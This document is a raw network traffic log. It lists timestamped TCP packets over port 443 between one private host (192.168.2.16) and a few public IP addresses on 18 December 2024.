Dec 18, 2024 14:53:46.782273054 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.782306910 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.782340050 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.782377005 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.782381058 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.782407045 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.782423019 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.782440901 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.786420107 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.786499977 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.790484905 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.795778990 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.795846939 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.800637007 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.800714016 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.801434040 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.801505089 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.801517010 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.801548004 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.801621914 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.809895992 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.853367090 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.902410984 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.904755116 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.904836893 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.906675100 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.906743050 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.917056084 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.917145967 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.923079014 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.923147917 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.926970005 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.927031994 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.934417009 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.934482098 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.938538074 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.938625097 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.938628912 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.938683033 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.938708067 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.938724041 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.938740015 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.938771963 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.949362040 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.949388027 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.977838993 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.977901936 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.977927923 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.987535954 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.987600088 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.987603903 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.987626076 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.987673998 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.996094942 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.003556013 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.003617048 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.003622055 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.003645897 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.003696918 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.011552095 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.019629002 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.019690037 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.019701958 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.027662039 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.027728081 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.027736902 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.037403107 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.037456989 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.037466049 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.045002937 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.045063019 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.045074940 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.059700966 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.059746981 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.059760094 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.059767008 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.059815884 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.067831039 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.075726986 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.075793982 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.075803041 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.125360966 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.166179895 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.168505907 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.168574095 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.168596029 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.172513008 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.172566891 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.172575951 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.182449102 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.182573080 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.182581902 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.182632923 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.191853046 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.191862106 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.191931963 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.191962004 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.192014933 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.201220989 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.201252937 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.201338053 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.209784031 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.209791899 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.209872007 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.218538046 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.218633890 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.222999096 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.223090887 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.231671095 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.231739998 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.240164995 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.240233898 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.248852968 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.248922110 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.253159046 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.253220081 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.261858940 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.261944056 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.266335964 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.266402006 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.288094997 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.288178921 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.358136892 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.358239889 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.362365961 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.362432957 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.368851900 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.368921041 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.375184059 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.375267029 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.378356934 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.378421068 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.384217024 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.384290934 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.390068054 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.390160084 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.392996073 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.393066883 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.398540974 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.398614883 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.401262999 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.401352882 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.401355982 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.401406050 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.401426077 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.401441097 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.401474953 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.401488066 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.404295921 CET	49732	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:47.404349089 CET	443	49732	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:47.404424906 CET	49732	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:47.404697895 CET	49732	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:47.404716969 CET	443	49732	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:47.948786020 CET	49733	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.948837996 CET	443	49733	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:47.948978901 CET	49733	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.949233055 CET	49733	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:47.949253082 CET	443	49733	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:48.703854084 CET	443	49732	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:48.704109907 CET	49732	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:48.704133034 CET	443	49732	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:48.704480886 CET	443	49732	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:48.704788923 CET	49732	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:48.704858065 CET	443	49732	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:48.704933882 CET	49732	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:48.747333050 CET	443	49732	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:49.158267021 CET	443	49732	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:49.158350945 CET	443	49732	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:49.158423901 CET	49732	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:49.159054995 CET	49732	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:49.159074068 CET	443	49732	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:49.280633926 CET	443	49733	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:49.281049013 CET	49733	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:49.281080008 CET	443	49733	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:49.281433105 CET	443	49733	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:49.281775951 CET	49733	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:49.281836987 CET	443	49733	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:49.281958103 CET	49733	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:49.323332071 CET	443	49733	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:49.725400925 CET	443	49733	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:49.725512981 CET	443	49733	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:49.725577116 CET	49733	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:49.726156950 CET	49733	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:49.726181030 CET	443	49733	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:49.728528023 CET	49734	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:49.728574038 CET	443	49734	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:49.728679895 CET	49734	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:49.728915930 CET	49734	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:49.728931904 CET	443	49734	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:49.810626984 CET	443	49721	142.250.181.132	192.168.2.16
Dec 18, 2024 14:53:49.810714960 CET	443	49721	142.250.181.132	192.168.2.16
Dec 18, 2024 14:53:49.810803890 CET	49721	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:53:50.144896030 CET	49721	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:53:50.144941092 CET	443	49721	142.250.181.132	192.168.2.16
Dec 18, 2024 14:53:50.261477947 CET	49735	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:50.261543989 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:50.261634111 CET	49735	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:50.261878014 CET	49735	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:50.261898994 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:50.985100031 CET	443	49734	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:50.985394955 CET	49734	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:50.985425949 CET	443	49734	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:50.985805988 CET	443	49734	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:50.986138105 CET	49734	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:50.986253023 CET	443	49734	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:50.986296892 CET	49734	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:51.027352095 CET	443	49734	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:51.029373884 CET	49734	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:51.437036037 CET	443	49734	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:51.437115908 CET	443	49734	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:51.437205076 CET	49734	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:51.438019991 CET	49734	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:51.438064098 CET	443	49734	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:51.486249924 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:51.486653090 CET	49735	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:51.486676931 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:51.487047911 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:51.487476110 CET	49735	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:51.487555981 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:51.487679005 CET	49735	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:51.535336018 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:51.928623915 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:51.928703070 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:51.928749084 CET	49735	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:51.928781986 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:51.928796053 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:51.928848982 CET	49735	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:51.929483891 CET	49735	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:51.929502010 CET	443	49735	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:52.428524017 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:52.428577900 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:52.428654909 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:52.428941965 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:52.428961039 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:53.641076088 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:53.641437054 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:53.641455889 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:53.641812086 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:53.642338991 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:53.642405987 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:53.642510891 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:53.642616987 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:53.642654896 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:53.642735958 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:53.642771006 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.247317076 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.247384071 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.247437000 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.247453928 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.247478008 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.247517109 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.247525930 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.247533083 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.247570038 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.247579098 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.255589008 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.255656004 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.255670071 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.266956091 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.267060041 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.267076969 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.310482025 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.366837978 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.422384024 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.422396898 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.443154097 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.443205118 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.443232059 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.443247080 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.443295002 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.451353073 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.459557056 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.459590912 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.459618092 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.459629059 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.459676027 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.467628002 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.467767000 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.467783928 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.467797041 CET	443	49736	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:54.467817068 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.467854977 CET	49736	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:54.470276117 CET	49737	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:54.470323086 CET	443	49737	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:54.470405102 CET	49737	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:54.470771074 CET	49737	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:54.470788956 CET	443	49737	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:55.688602924 CET	443	49737	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:55.688954115 CET	49737	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:55.688991070 CET	443	49737	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:55.689495087 CET	443	49737	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:55.689810991 CET	49737	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:55.689930916 CET	49737	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:55.689932108 CET	443	49737	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:55.735341072 CET	443	49737	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:55.745465040 CET	49737	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:56.136300087 CET	443	49737	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:56.136485100 CET	443	49737	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:56.136574030 CET	49737	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:56.137423038 CET	49737	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:56.137437105 CET	443	49737	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:21.021220922 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:21.021271944 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:21.021380901 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:21.021598101 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:21.021606922 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.265980959 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.266298056 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.266339064 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.266711950 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.267015934 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.267082930 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.267170906 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.267280102 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.267298937 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.267354012 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.267363071 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.267391920 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.267400026 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.267411947 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.902056932 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.902120113 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.902152061 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.902177095 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.902199984 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.902240992 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.902259111 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.902266979 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.902267933 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.902306080 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.902785063 CET	49738	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:54:22.902800083 CET	443	49738	104.18.94.41	192.168.2.16
Dec 18, 2024 14:54:22.905658007 CET	49739	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:54:22.905699968 CET	443	49739	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:22.905884027 CET	49739	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:54:22.906008959 CET	49739	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:54:22.906022072 CET	443	49739	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:23.368756056 CET	49740	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:23.368804932 CET	443	49740	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:23.368875027 CET	49740	443	192.168.2.16	104.21.32.225
